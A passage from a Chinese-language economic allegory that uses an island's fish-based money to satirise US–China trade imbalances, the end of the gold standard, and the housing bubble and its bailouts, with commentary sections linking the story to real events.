　　伯南柯如释重负，他心领神会，说道：“没问题，阁下。我已经安排好一队技师在储藏库里待命了。鱼一送到，他们就会开工。储户们今天就能拿到鱼。另外，不同于昨天，今天的鱼骨头上会有不少肉的！”

　　从此，美索尼亚国经济史掀开了新的一页。每天都有一艘中岛帝国的货船运鱼来，作为回报，他们每天都能得到一堆新钞票。

　　中岛帝国面临的主要问题是怎么处理这些钞票。最好的办法是用它们购买美索尼亚国的产品。当然，中岛帝国需要渔网提高捕鱼效率，而美索尼亚国的工厂织的网是最好的。因此，艾伯渔网公司接到了一笔很大的订单。

　　该买的东西都买了之后，中岛帝国还剩下一些钞票。由于他们国内没有银行系统，他们决定将贸易顺差存入鱼邦储备银行，这样至少还能赚些利息。

　　这些交易大大促进了美索尼亚国的发展。一方面，国外需求推动了当地经济；另一方面，中岛帝国存入银行的鱼也使可用的贷款大幅增加。尽管美索尼亚人消费比储蓄多，银行依然有足够的鱼可以拿出来以很低的利率提供贷款。

　　有了大批的真鱼，官鱼骨头上的肉多了起来，美索尼亚国的通鱼膨胀问题基本消失了。因为官鱼变得比以前大，物价停止了上涨，人们的生活水平也再度提高。

　　中岛帝国也是日新月异。

　　后知后觉的国王终于意识到了国内经济模式的致命缺点。如果岛民们必须上交所有的鱼，他们永远不会卖力干活。国王想通了这一点，他从美索尼亚国购买了渔网，然后进行了翻天覆地的政策改革。凡是从国王这里购买渔网的人，都可以把多出来的鱼留归己有。毫无疑问，岛上的捕鱼活动活跃起来。

　　中岛帝国的岛民们非常明智地用他们积攒的储蓄购买了资本设备，扩大了生产。但是中岛帝国的企业家依照国家的要求，生产那些可以兑换成鱼邦储备券的产品。因为美索尼亚国掌握着所有的鱼邦储备券，所以中岛帝国的工厂集中生产美索尼亚国人想要的东西。

　　有了多劳多得的激励制度以后，中岛帝国很快就积累了不少储蓄，并扩大了生产。结果，中岛帝国的企业家们现在也有能力兴建工厂制造产品了，比如勺子和碗。尽管大多数中岛帝国人自己还缺少这些东西，但他们却把这些货物卖给美索尼亚人。你也许猜到了，这样做是为了赚取更多的鱼邦储备券。

现实链接

　　多年来，经济学家对美中关系的理解一直是错误的。大多数人认为那是一种互利互惠的双边关系：美国得到廉价商品和贷款，中国得到制造业的就业机会。然而，这真的是一种双赢的安排吗？

　　美国人占了便宜：他们不用生产就可以得到商品，不必储蓄就可以得到贷款。而对于中国人来说，他们辛勤工作却不能消费自己生产的产品，他们努力储蓄却得不到贷款。

　　这有什么好处呢？美国的低利率很大程度上是由国外的高储蓄率造成的，大多数当代经济学权威都没有意识到这一点。要记住，想要借贷，就必须先储蓄。所幸，对于美国来说，全球经济使得借与存的关系可以不受国境的限制。

　　到目前为止，美国手中的王牌一直是美元的地位。作为世界的官方储备货币，美元是一切国际贸易的结算货币。也就是说，不仅仅是美国的贸易伙伴，所有人交易时都需要使用美元。所以，即便没有人购买美国的产品，人们也需要美元。而其他任何国家都没有这种运气。

　　外国人持有的美元很多都存在美国的银行里，因而又可以借贷给美国人。这么一来，美国人即使不储蓄也可以获得贷款。

　　人民币和美元紧密挂钩，这就要求中国公民至少要将储蓄的一部分兑换成美元。

　　如果没有中国和其他国家的储蓄，美国人以及美国政府想要借钱就会很困难，他们将不得不承担高额的贷款利率。对于靠贷款推动的美国经济而言，利率偏高和信贷吃紧是一个致命的组合。

　　目前美国领导人和中国的冲突不断升级，在他们决定与中国划清界限之前，需要好好认清这条生命线。当然，既然这种关系不可能永远持续下去，结束得越早，痛苦就越小，对美国人来说尤其如此。白食吃得越久，有朝一日没得吃时，就越是难以自食其力。

第十二章：服务业是如何崛起的

　　中岛帝国的储蓄大量涌入，贷款利率随之降低，这使美索尼亚国企业家们的投资热情高涨。但是，由于捕鱼和制造业的工作越来越多地外包给中岛帝国，他们提出来的商业计划和以往大相径庭。现在，大多数商业计划更青睐那些需要本地员工提供服务的项目。这类工作无法外包，而且需要的资本较少。

　　在美索尼亚国第一次经济会议上，本·伯南柯为解释这些变化发表了一次著名的演讲。他认为美索尼亚国的经济已经发展到了一定程度，捕鱼和制造业这类低级劳动应该外包给穷国，而美索尼亚人则可以自由地从事更加复杂的服务业的工作，比如厨师、演讲家和艺术家。

　　查理创立的老字号查理冲浪公司就是其中的一个例子。

　　这家公司的几代传人一直制造冲浪板，并且非常成功，现在公司正在朝新的方向发展。查理的后人借了一大笔贷款，扩展了业务，建起了冲浪学校。12 座崭新的校园遍布全岛。

　　与此同时，公司还达成了一项在中岛帝国生产冲浪板的协议，向外国工人支付鱼邦储备券，但是高附加值的冲浪板设计和冲浪技巧培训业务还保留在国内。

　　不久，服务业蓬勃发展起来。以前遍布全岛的制造工厂如今都被主要经销进口货物的零售公司取代了。

　　参议院为了取悦选民，制定了名目繁多的条例、收费和税收项目，这些都加速了外包的趋势。这些障碍使得美索尼亚国的企业在新的岛际竞争中举步维艰。

　　与此同时，在海的那一边，中岛帝国也在经历着变革……

　　不出所料，中岛帝国引入了渔网技术，加上个人利益的神奇力量，导致捕鱼效率大大提高。最终，中岛帝国攒够了钱，建造了很多巨型捕鱼器（捕鱼器的设计者起诉他们侵犯知识产权，但是在中岛帝国完全没有胜诉的可能）。他们实行 24 小时工作制，三班轮岗，不间断捕鱼。大部分鱼都出口到了美索尼亚国。

　　由于捕鱼的生产效率提高，工人们可以腾出时间从事其他工作，主要是与制造业相关的工作。

　　一船接一船的鱼和货物漂洋过海运往美索尼亚国，同时，鱼邦储备券如潮水般流向中岛帝国。

　　在正常的贸易关系中（比如小鼓岛和狂舞岛之间的贸易），中岛帝国的产品应该用来交换所需要的美索尼亚国的产品，但是中岛帝国积攒钞票的意愿导致了两者间完全不同的关系，即一座岛主要负责生产，另一座岛主要负责消费。

　　中岛帝国的国王为什么能够容忍这样的安排呢？很多人都想不明白。但是，与他以前的一些计划相比，这一政策显得合乎逻辑。这项政策使得国王稳坐江山，但是中岛帝国制造冲浪板的工人却没有得到什么实际的好处，他们整日忙于工作，自己连冲浪的时间都没有。

　　当然，中岛帝国人相信他们最后总会得到回报，到时他们就可以不用捕鱼，靠储蓄就能安然度日了。然而，中岛帝国人却没有意识到，美索尼亚国连养活自己百姓的能力都没有，怎么可能为他们兑换钞票呢？

　　在美索尼亚国的另一次经济会议上，本·伯南柯声称，双方的这种关系堪称最新也是最有效的经济分工的典范。

　　他解释说，美索尼亚国在消费方面有一定的优势，这对整个海域都是有利的。他指出，其他任何岛屿的居民都没有这么强劲的购买力，美索尼亚人的消费能力是最可靠的。美索尼亚国拥有宽阔的道路、豪华的汽车和奢华的豪宅，所有的一切都使他们成为最有消费能力的消费者！

　　美索尼亚人乐观进取，即便身无分文也敢花钱。因此，其他岛屿可以更有效地把消费外包给美索尼亚国！

　　另外，伯南柯也解释说，中岛帝国最善于储蓄和制造商品。因此，他指出：“将制造业外包给中岛帝国，效率更高。”

故事引申

　　与大多数同时代的经济学家一样，伯南柯认为消费是经济发展的内在动力。因此，最大的消费群体就是经济增长的引擎。

　　尽情购物要比卖力工作更让人快乐。这一点连傻瓜都知道。但是，是卖力工作的人，而不是尽情购物的人，第一时间将商品放在货架上。没有产品，购买就无从谈起。一旦某个产品被生产出来，它将必然被用于销售。可能发生变化的仅仅是其购买者和价格。

现实链接

　　过去 10 年里，全球经济失衡是大多数重量级经济会议上常常讨论的问题。虽然人们为此发表了无数的演讲，写过长篇累牍的报道，这个问题却丝毫没有得到解决。

　　全球经济失衡最明显的证据就是美国的贸易逆差。在美国历史上的多数时期，出口都大于进口，造成贸易顺差。在有些年份，尤其是接近 20 世纪中叶的时候，贸易顺差额还相当巨大。美国利用这些盈余在国内置办了更多资产，在国外也购买了不少资产。在这个过程中，美国成了世界上最富有的国家。但是到 20 世纪 60 年代末，贸易平衡被打破了。自 1976 年以来，美国开始常年处于贸易逆差状态。

　　美元的储备货币地位很大程度上导致了贸易逆差的扩大。如果没有全球经济系统对美元的内在需求，任何国家都无法长期维持这种失衡状态。各家公司和各国政府都会拒绝用商品交换无法购买任何东西的货币。

　　在 20 世纪 70~80 年代，美国的贸易逆差为 100 亿~500 亿美元，虽然数额巨大，但仍在掌控中。到了 20 世纪 90 年代，贸易逆差冲破 1 000 亿美元关口。虽然数额大得惊人，但与美国巨大的经济总量相比，这个缺口相对不大。不过，一进入 21 世纪，情况就变得严重了。

　　21 世纪的前 10 年是中国作为出口型经济大国崛起的 10 年。在这 10 年里，美国的贸易逆差平均每年都达到 6 000 亿美元，2006 年更是达到了令人咋舌的 7 630 亿美元。这就意味着，每个美国人，不论男女老少，都要分摊 2 500 美元。

　　幸好，2008 年经济衰退开始后，美国的贸易逆差有所减少。但是，正如我们亲眼所见的那样，美国的政策很快终结了这种积极的趋势。

　　正常来讲，贸易逆差能够自我调节。

　　如果一个国家处于贸易顺差状态，也就是说其出口额大于进口额，就会在国际上形成对其货币的需求。如果你想要该国的产品，你就需要该国的货币。所以，强势的贸易地位会使一国货币坚挺，弱势的贸易地位会导致该国货币疲软。如果没有人想购买你的产品，也就没有人需要你的货币。

　　但是，一旦一国的货币升值，该国的产品也会相应涨价。这就给处于弱势贸易地位的国家提供了进入该国市场的机会。他们的商品销售得越多，国际市场对其货币的需求就越大。这股货币平衡力量会使脱缰野马般的贸易失衡得到控制。

　　然而，美元的储备货币地位以及中国政府保持人民币与美元挂钩的决定破坏了这一机制，使局势越发不可收拾。

　　近些年来，为了给其出口企业提供一种理论上的优势，多国政府广泛开展多项活动抑制其货币，这些活动引发了人们所说的“全球货币战争”。这是一种非常让人摸不着头脑的对抗，因为对抗的目的通常不是除掉对手，而是干掉自己。

　　诚然，一个国家可以通过行之有效的销售渠道卖掉更多的产品，但在这个过程中可能会损失部分利润。另外，廉价货币同时也会提高进口成本，因为出口不过是补偿进口的一种方式。一个国家有意弱化本国货币，以此让人们更加努力地工作，来补偿进口商品。这便意味着人们的生活水平会下降。

第十三章：“鱼本位”的破灭

　　鱼邦储备券继续如潮水般流出美索尼亚国，在大洋中的其他岛屿上堆积成山。终于，一些外国持有者开始质疑这些储备券能否兑换成真鱼。

　　小鼓岛的领袖查克·小鼓很有个人魅力，他通过嘲笑美索尼亚国的傲慢与力量在国内广受支持。他认为接受鱼邦储备券只是加强了美索尼亚国的经济实力，于是他开始派遣一批又一批的金融特使去银行窗口兑换真鱼。

　　频繁兑换真鱼开始对存鱼造成冲击，技师们又忙碌了起来。他们不断地切割、重组，官鱼越变越小，通鱼膨胀又有抬头之势。

　　美索尼亚国的经济再度恶化。

　　新当选的议长靠布柱·迪克森从他的经济顾问那里得知，如果其他岛屿都效仿小鼓岛，整个海域范围的兑现风潮就会清空鱼邦储备银行的储藏室，而鱼邦储备券就会变得一文不值。

　　伯南柯和参议员们开始发愁了。

　　靠布柱不敢让他的人民吃苦还债，所以他决定让外国人承担损失。他对外国储蓄者关闭了银行兑换窗口！从那时起，鱼邦储备券的价值不再取决于它能够兑换成真鱼，它在国际市场上的价值将只由对方想交换的商品价值决定。实际上，只有美索尼亚国保有经济和军事大国的地位，鱼邦储备券才具有价值。

　　“鱼本位”的破灭导致很多岛屿对鱼邦储备券失去了信心。毫不奇怪，鱼邦储备券的价值暴跌。然而，由于鱼邦储备券仍然是最常见的货币形式，价格最终稳定下来。对于美索尼亚国参议院而言，关闭银行兑换窗口使得他们安然度过危机，避免了丢掉政权之祸（这其实是参议员们唯一担心的问题）。靠布柱长舒了一口气。

　　查克·小鼓勃然大怒，发表了很多颇具威胁性的演讲。但是他的努力大多是象征性的，美索尼亚国的地位不可撼动。

　　不幸的是，靠布柱因为随后发生的“水蛇事件”下了台。人们发现他藏有一储藏室偷来的爬行动物。

　　货币危机过去之后，通鱼膨胀基本上消失了。另外，虽然银行关闭了兑换窗口，鱼邦储备券的地位并没有动摇。美索尼亚国的经济稳定了下来。几年以后，罗非·里实当选议长，进一步推动美索尼亚国走向繁荣富强。

　　里实成功地降低了税收，放松了管制，还减少了与其他岛屿进行自由贸易的壁垒。然而，他减少政府支出的承诺并没有兑现。虽然里实营造了良好的经济氛围，但是参议院的收支差距还在持续扩大。实际上，在里实的统治下，这个缺口越来越大，经济危如累卵。

　　好在国外的鲜鱼源源不断地涌入银行。用来买鱼的钞票流通到了国外，永远不会再兑换成真鱼。有了这么一个聚宝盆，美索尼亚国进入了表面上看来前所未有的繁荣时期。

现实链接

　　在有文字记载的历史上，人类曾把各种物品当作货币。食盐、贝壳、珠子和牲畜都曾流通一时，但是，最后金属（尤其是金银）成了最普遍的货币形式。这绝非偶然。贵重金属拥有货币的所有价值属性和使用属性：储量稀少、人人想要、质地均匀、性质稳定、延展性好。

　　即便人们不想用贵金属充当货币，贵金属依然因为有其他用途和储量稀少的特性而具有价值。

　　相反，纸币只有在足够多的人愿意使用纸币交换产品和服务时才有价值。因此，纸币的价值完全由人主观决定。由于纸币可以无限量地发行，并且没有内在价值，如果人们对纸币失去信心，它们就会变成一堆废纸。

　　虽然经济学家声称已经预见到了这一切，但事实上，从长期来看，我们并没有预见全球经济会建立在一种不可兑现的货币（通常称之为“法定货币”）的基础上。“法定”（fiat）一词来自拉丁语，字面含义为“让它做”（Let it be done）。我们用这个词是想表达纸币本身没有内在价值，是因为政府的命令而具有价值。

　　历史上不乏失败的例子：某些政府陷入财政困境，走投无路，于是把发行毫无价值的纸币的做法当作救命稻草。这些做法最终往往惨淡收场，国民损失尤其惨重。

　　这是因为，如果某个国家的邻国仍旧发行真实货币，而这个国家却想持续发行毫无价值的纸币，那是行不通的。外国人自然会拒绝接受毫无价值的纸币，最终国内就会出现买卖真实货币的黑市。

　　但是现在我们处于一个“镜中世界”，在过去的 40 年中，没有任何国家发行过真实货币。这是有史以来最大的货币实验。没人知道这个实验何时结束，结果又如何。但是可以肯定的是，这个实验总会有结束的一天。

第十四章：棚屋价格是如何涨上去的

　　尽管查理冲浪公司成功地转入服务业，但银行在给此类高风险的服务业提供资金时还是谨小慎微。银行想寻找一个稳妥的项目，最后它们盯上了岛上沉睡着的棚屋贷款市场，认为那是低风险贷款的理想对象。

　　在此之前，在岛上的全面经济图景中，棚屋市场从未获得过显著的地位。棚屋很适合岛民的生活方式，最初是很朴素的。但是由于经济繁荣，利率降低，人们开始需要更新、更大、更美观的棚屋。

　　以前，岛民需要储蓄很多年，然后一次性拿出大量的鱼来买一间棚屋。后来，银行开始向岛上信誉较好的人提供棚屋贷款。有了贷款，即使借款人目前的储蓄额低于棚屋的价格也没有关系，他们不必再等，可以直接入住。

　　虽然棚屋贷款不能提高岛上的生产能力和借款人的还款能力（商业贷款则可以），但是这些贷款安全性很高。与那些借给前途未卜的企业家的商业贷款不同，棚屋贷款有天然的抵押物，也就是所购买的棚屋。如果借款人不能还款，银行还可以没收棚屋，把它卖掉，以偿还贷款。

　　即便如此，银行也不能保证收回全部贷款。因此，为了抵消这个风险，银行要求借款人先交大量的鱼作为首付。有了首付，银行就获得了一定的信心，相信借款人会继续还款。如果借款人不能归还所有贷款，这种做法也能减少银行的损失。

　　有些岛民愤愤不平，因为并不是所有人都有机会获得棚屋贷款。富人一般很容易得到贷款，而没有储蓄或者信用记录较差的人就没那么幸运了。有人觉得穷人被剥夺了使用岛上财富的权利。参议员认为这是潜在的竞选议题，于是插手进来，想要解决这个问题。

　　参议员克里夫·考得认为拥有棚屋是美索尼亚梦的核心，因此他制订了一个计划，让政府帮助每个人得到棚屋贷款。

　　为推动这一进程，考得创立了两个半官方机构——棚利美和棚地美——为棚屋贷款做担保，同时也会收购银行不愿意持有的贷款。尽管“两棚”（棚利美和棚地美）并没有明确的官方担保，可这座小岛上的每个人都相信参议院不会令他们失望。心中怀着这一信念，诸位放款人便不再担心符合“两棚”标准的棚屋贷款损失了。

　　于是，那些贷款的利率和放贷标准急剧降低。银行将贷款提供给“两棚”，很快就能收回本金，这样它就能放出更多贷款！

　　棚屋贷款项目犹如给银行打了一针强心剂，现在它可以几乎毫无风险地赚钱。同时，这个项目也很受选民欢迎，他们不必辛苦积攒半生才能买下一间棚屋。由于考得在整个事件中表现出来的精明能干，他后半生一直稳坐参议员的位置。

　　学利美是政府设置的另一个机构，旨在为想进入冲浪学校学习的年轻人提供贷款。政府担保的助学贷款吸引了越来越多的岛民到学校学习如何提高冲浪技术。

　　因为人们很容易就能得到学利美的贷款，查理冲浪公司不必担心高学费会吓跑消费者，所以大幅提高了学费。不久，学费的增长幅度就远远超过了总体的通鱼膨胀率。大多数经济学家都认为，更高的价格是冲浪学位社会价值提升的表现。

　　为了跟上学费增长的步伐，学利美持续提高助学贷款的额度。几年以后，冲浪学校的助学贷款就成了岛民一生中极大的花销之一。

　　同样，在“两棚”的作用下，岛上的棚屋建造、棚屋销售和棚屋装修业务也轰轰烈烈地发展起来。这些活动吸收了越来越多的产能，却没有换来更多的真鱼，也没有提高任何人偿还棚屋贷款的能力。

故事引申

　　虽然这些贷款政策看起来好像是参与各方共同受益，但实际上整个系统制造了更大的风险。

　　参议院推行的刺激政策向棚屋贷款和助学贷款倾斜，其他没有政府担保的贷款受到影响，扰乱了信贷市场。参议院鼓励放贷并不是因为那是使用储蓄的最佳方式，而是因为帮助人们获得棚屋和教育机会能够转化为政治资本。

　　因为有“两棚”的担保，棚屋贷款利率下调，岛民就能获得更大额的贷款。结果，就像冲浪学校的学费一样，棚屋价格也开始明显上扬。随着棚屋价格的不断上涨，在岛民看来，购买棚屋不仅仅是一笔可以承担的费用，还是一项重要的投资。人们认为购买棚屋比储蓄更划算，更能为以后的幸福生活提供保障。

　　参议院还宣布棚屋买卖产生的大部分利润都享受免税优惠，而且棚屋贷款的利息还可以从每年的鱼税中扣除，这就进一步刺激了棚屋行业。结果，买卖棚屋成了比创业和储蓄更有利可图的事。于是，岛上有了更多的新棚屋。与此同时岛上的储蓄和新企业不断减少。

　　后来棚屋价格飙升，贷款总额达到了参议院为“两棚”设置的上限。这时，议长考得不可避免地介入，他宣称“两棚”的基本状况良好，要求参议院提高贷款上限，降低首付款，降低信用标准，以确保人们买得起棚屋。他真是个常胜将军。

　　“两棚”的老板都是考得的老朋友，为了答谢考得的帮助，他们为他的连任选举做出了很大的贡献，还给考得的棚屋提供了友情贷款。

　　由于“两棚”向投资者提供的回报率大于鱼邦储备银行的利率，中岛帝国人就把他们贸易顺差的一部分投到了“两棚”中。有参议院为“两棚”的偿付能力做担保，中岛帝国人对这两个借贷机构很有信心。

　　中岛帝国的投资流入棚屋贷款市场，大大增加了信贷供给量，进一步压低了贷款利率。也就是说，更多的人可以得到大额贷款。因为能够轻而易举地获得大额贷款，购买棚屋者把谨慎抛到脑后，棚屋价格进一步升高了。

　　看到了潜在的利润，曼尼七世也大举进入棚屋信贷市场。作为岛上第一位风险投资人的后代，他注意到有一些贷款风险极高，即便是“两棚”也不愿意涉及。但是考虑到当前的棚屋投资狂潮，他相信自己可以凭借曼尼的威望说服买家，让他们相信这些贷款是可靠的。

　　曼尼开始为岛民提供一项叫作“棚屋置换”的新贷款业务，允许棚屋所有者用更大数额的贷款替代棚屋原有的按揭贷款。新的贷款不仅能够偿还原来的贷款，剩下的钱还可以装进借款人的腰包。棚屋价格的上升也证明大额贷款是有市场的。有了曼尼的“以小换大”贷款，任何拥有棚屋的人都可以得到几乎免费的鱼。

　　由于曼尼向借款人收取较高的利率，因此他给投资者的回报率也很高。“两棚”见状也想分一杯羹，它们希望考得允许它们购买这些风险更高、收益也更高的贷款。成交之后，“两棚”就成了棚屋置换贷款市场中最大的贷款人。

　　住宅净值融资无疑为棚屋装修产业打了一针强心剂，使这一产业成了经济活动的一个主要中心。棚得宝是一家全岛范围的连锁店，主要进口棚屋装修材料，并雇用多位专家向大家展示怎样通过棚屋装修赚更多的钱。一个广为流传的说法是，在装修上投入一条鱼，卖出棚屋时就能赚两条鱼。没有人确切知道这是为什么，但是专业人士怎么会错呢？

　　棚屋变得比以前奢华得多。火炉上镶嵌着打磨过的鲍鱼壳，悬挂水桶用的是高档的丝线绳。不少棚屋铺的都是名牌茅草，室内都装有内置的宽大的玻璃窗。

　　很快，基本的居住用棚屋已经不能满足岛民的需求，他们开始修建度假用的棚屋，并把修建棚屋作为一种投资。一些岛民甚至直接在普通棚屋上面加盖度假用棚屋。

　　可是后来发生了一件怪事：棚屋价格开始飙升。其中的原因一方面是存在“以小换大”贷款、低首付（或零首付）和棚屋利润免税的政策，另一方面则是银行在“两棚”的担保下大量放贷的结果。以前棚屋价格通常一年上涨几个百分点，而现在一个月就上涨那么多！再差的棚屋也有人抢着要。

　　局势发展得超乎想象，传统的支付能力标准不再适用。以前岛民只会用年收入的两三倍买棚屋，现在他们要花掉年收入的一二十倍。人们明知负担不起还要买棚屋，是因为他们相信买入的棚屋几年后可以卖个好价钱。有这么好的增值前景，又没有什么风险，加上政府的一系列鼓励政策（包括人为造就的低贷款利率），没有人能抗拒这种诱惑。

　　然而，快速飙升的棚屋价格给参议员们带来了实惠。轻而易举获得的财富让选民们感觉自己很富有，也间接证明了参议员们的英明。参议员们自然不遗余力地维持棚屋市场的繁荣增长。本·伯南柯和阿里·格林芬向所有人保证不会出现棚屋供大于求的局面，因为棚屋价格绝不会下跌。

　　大肆吹捧棚屋市场的人不仅仅是政治家，岛上最受尊敬的私营部门思想家吹嘘得最起劲。在衣冠楚楚的巴里·雪余子主持的脱口秀节目中，岛民们经常讨论时事。一向乐观的巴里戏称这一时期为“金鱼经济”。卡普·盖佛等专栏作家也告诉岛民们，棚屋市场崩溃是天方夜谭，现在的银行优惠政策是前所未有的。客串嘉宾派克·希夫一向笑料百出，他警告人们棚屋市场崩溃即将来临，引起了阵阵哄堂大笑。

现实链接

　　现在，惨痛的事实告诉我们每个人，美国在房市泡沫膨胀和破灭的过程中体会到了喜悦和痛苦。因此，我们必须铭记危机曾经近在咫尺，而绝大部分经济学家、政府官员和金融评论家都没能预见到灾难的来临。

　　这就好像一场 5 级飓风已经距离迈阿密海岸仅十几公里了，气象学家却没有预报一样。主流的经济学家有多么愚蠢，似乎不需要更多的证据来证明了吧？

　　任何头脑清醒的人都能看出，2006 年的房价已经高得离谱了。人们对房价的估计与对自身负担能力的估计脱节了。所有的数字都不对劲。然而，经济学家却想出了一些莫名其妙的理论，似乎能解释房价上涨的原因。

　　但是，人们没有看透这些吵吵闹闹背后的真正目的。政治家想要用虚假的繁荣维持选民高涨的自信心，企业想让消费者花钱购买他们负担不起的产品和服务，有线新闻网想通过描绘太平盛世赢得高收视率，银行、按揭贷款发放机构以及房地产经纪人想继续赚取费用和利息。这些利益集团雇用了大批的人粉饰这个最大最丑陋的骗局。而且，令人吃惊的是，人们真的接受了他们的解释。

　　那么，我们现在终于学会实际一些了，对吗？大错特错。即便在按揭贷款市场崩盘以后，人们仍然不明白政府政策是如何影响房价的。小布什和奥巴马政府斥巨资扶持下跌的房地产市场。这意味着政府和美联储对房地产市场的投入比危机发生前投入得更多。但是人们依然没有认识到，这些措施是如何支撑房地产市场的价格，并让我们以后摔得更惨的。

第十五章：快了！快了！棚屋市场要崩溃了

　　谁也说不清棚屋市场到底是什么时候开始逆转的。也许是因为备受关注的火山全景单元房项目的失败。那个项目的设施齐全、空间宽敞，还有无与伦比的海景和火山景观，但是不知为什么没人愿意购买。

　　曼尼是这个项目的主要担保人，项目失败后，开发商无法偿还工程贷款，曼尼受到了很大的打击。紧张的棚屋投资者看到火山全景单元房项目的损失后，开始仔细审视其他高风险的棚屋项目。一种明显的恐慌情绪蔓延开来。

　　很快，大小投资者都认为棚屋市场已经达到顶峰。不少人决定出售棚屋，赚取差价，等到更好的时机再投资。

　　但是有一个问题——所有人都同时想到了这一点。大多数棚屋所有者从一开始就没打算长期持有棚屋，所以棚屋市场刚一生变，所有人都想立即脱手。很快，岛上全是出售棚屋的人，却没人购买棚屋。这样一来，意想不到的结果出现了：棚屋价格不是逐渐下跌，而是直线下降。棚屋供大于求的现象很快演变为棚屋价格的大规模下跌。

　　想当年，只要拥有棚屋就可以轻而易举地赚钱，而如今卖棚屋却变成了赔本的买卖。由于棚屋价格不再上涨，棚屋净值不再增加，短期炒房也就无利可图。没有了利益的诱惑，过高的贷款额度成了无法承受的负担。

　　有些借款人本来买不起棚屋，他们希望通过棚屋的快速倒手获利或者得到“以小换大”的贷款，等到暂时处于低位的诱惑利率调高以后，这些人马上就无力承担棚屋贷款，局势变得更加复杂。由于棚屋的价值小于贷款的金额，人们都想从巨额贷款中脱身。那些零首付购买棚屋的人尤其如此。这些借款人前期没有任何资金保证，就算不偿还贷款，让银行收回棚屋也没什么损失。

　　由于越来越多的借款人拖欠还贷，曼尼贷款证券化业务很快宣告破产。久负盛名的曼尼遭受了巨大的损失，一蹶不振。很快，“两棚”也宣告破产。

　　因为消费者不再投资棚屋，其相关产业也陷入了困境。大批棚屋建筑工人、设计顾问、橱窗布置员和电器销售人员纷纷失业。

　　其他看似毫不相干的产业也受到了冲击。当初，“以小换大”贷款大行其道时，美索尼亚国驴车制造商大赚了一笔。那时，棚屋不断升值，岛民不费吹灰之力就赚得盆满钵满，买的车越来越大。在棚屋市场最繁荣的那些年，很多驴车都大到需要四五头驴来拉。（问题是，大多数的驴都要靠进口。）一旦棚屋市场无利可图，这些“草老虎”的销量也一落千丈，驴车公司相继破产。

　　小岛陷入了历史上最严重的一次经济危机。失业工人们走投无路，都聚集到参议院门前讨说法。

经济刺激援助计划

　　议长乔治·W·巴斯多年来一直不承认岛上的经济有问题，现在后知后觉的他终于开始着手解决问题。

　　他的顾问一致认为应该推出大胆的刺激政策，让人们重新开始消费，尤其是购买棚屋。议长并不理解为什么储蓄和生产能够促进经济增长，但他仍然决定推出大规模的援助和刺激计划。

　　“两棚”最先得到了援助。参议院接管了“两棚”，注入了大笔的鱼邦储备券以弥补损失。重组之后，“两棚”按照新管理层（即参议院）的意愿，向所有填写贷款申请表的人发放超低利率的棚屋贷款。

　　它们希望通过持续发放宽松信贷，提高市场对棚屋的需求，从而阻止棚屋价格继续下跌。

　　后来，由于这些政策没能挽回局面，巴斯叫来了所有的高级顾问，召开紧急会议。其中包括本·伯南柯，他曾向巴斯保证繁荣盛世会永远持续下去。

　　“我说，小伯。”巴斯用他标志性的平易近人的态度说道，“我让你给骗了。我以为经济是件很简单的事呢。你知道，他们流汗，我们吃鱼，每个人都能有一两套棚屋！我们这回怎么才能让鲨鱼上钩呢？”

　　其他参议员都在苦苦思索他这句话的寓意。也许真有什么寓意吧。

　　“阁下，事情其实很简单。”新任首席会计师汉克·普兰克顿说道，“现在棚屋价格猛跌，人们觉得自己没有以前富裕了。因此，他们停止了消费。如果我们能把棚屋价格推高，人们自然就会开始消费。”

　　“太好了，小普。就知道你有高招。”巴斯说，“那怎么才能做到呢？有人负责吗？这工作听起来很酷。也许我可以让我的某个最大捐助人来干。”

　　“阁下，并没有那么简单。”普兰克顿说。“我们无法下令让棚屋价格回升。你知道，因为有我们的支持，‘两棚’在继续放贷。不幸的是，这还不够。人们还是不愿意贷款，也许是因为申请贷款的过程过于复杂。现在我们需要调低利率，减少棚屋购置税。这样就会产生贷款需求，棚屋价格就会止跌，棚屋建筑工人也能回到工作岗位上去。”

　　普兰克顿继续解释他的计划：“我们还要保持曼尼的偿付能力。这家公司欠民众很多钱。如果它倒闭了，整个国家的经济也就完了。我们要保证曼尼所有的投资者都不会蒙受损失，否则我们都要忍饥挨饿，尤其是孩子们。”

故事引申

　　岛上最不需要的就是更多的棚屋。棚屋已经够多了，任何用于棚屋建设的资源和人力都是浪费。

　　同理，棚屋价格已经够高了。棚屋价格涨到如此令人咋舌的水平，是很多因素共同作用的结果，而这些因素已经一去不返了。要遏制棚屋价格下跌的趋势，就像阻止一座没有任何支撑的桥倒塌一样困难。

　　虽然很多岛民都因为棚屋价格下跌而惴惴不安，但是如果任由棚屋价格下跌，同时停止建造新的棚屋，反而对岛上的经济有好处，至少在真正的需求出现之前是这样。这样一来，人们就不会花那么多钱购买棚屋，而是把钱花在那些经济发展中缺乏的东西上，比如新企业可能只需要一头驴拉的驴车。原本用于建设棚屋的资源，比如竹子和绳子，也可以用于新的行业。

　　不幸的是，政府的干预阻碍了这种资源再分配。

　　“放心，小普，只要有我在，绝不会发生这种事。”巴斯回答说，“告诉他们，我们会出资纾困。我说，你以前不是在那家公司工作过吗？”

　　“是的，议长阁下。我以前是那家公司的总裁。但是我认为这和我们的对话无关。说实话，我很不喜欢你这种影射的说法。”

　　“咳，小普，我跟你开玩笑呢。”巴斯继续说，“好吧。咱们先抬高棚屋价格，让曼尼维持业务，然后我们怎么让人们再度开始消费呢？鱼从哪儿来？我的意思是，据我所知，渔业部遇到了点儿麻烦。这不就是他们拿着干草叉在外面示威的原因吗？”

　　“阁下，我们计划向人们发放新的鱼邦储备券。有了钱，人们就会开始消费了。”

　　“太酷了。但是我们去哪儿弄鱼呢？我们的技师不是已经没办法了吗？”

　　“阁下，中岛帝国人向我们做了新的承诺。他们愿意用 10 万条鱼买我们的自来水系统。”

　　“等一下。卖掉自来水系统？这会威胁到我们的国家安全！我要是把这样的东西卖给外国人，岛民们肯定饶不了我。不能让他们向我们提供贷款吗？”

　　经过数月的紧张谈判，巴斯的大使终于说服中岛帝国的代表，让他们明白美索尼亚国出于政治上的原因无法出售自来水系统。结果，中岛帝国颇不情愿地同意了一项 10 万条鱼的贷款。

　　“嘿，汉克。”得知喜讯后巴斯说，“好消息，我们拿到贷款了。只有一个问题，我们拿什么还贷呢？”

　　“阁下，我们只需要再印一堆鱼邦储备券就行了。不过这次，我们要用最好的纸。”

　　“嗯，如果他们不接受怎么办？不是已经有不少人对我们钞票的价值说三道四了吗？就像前几年的那个查克·小鼓一样。如果我们发行更多的钞票，他们不会开始抛售吗？”

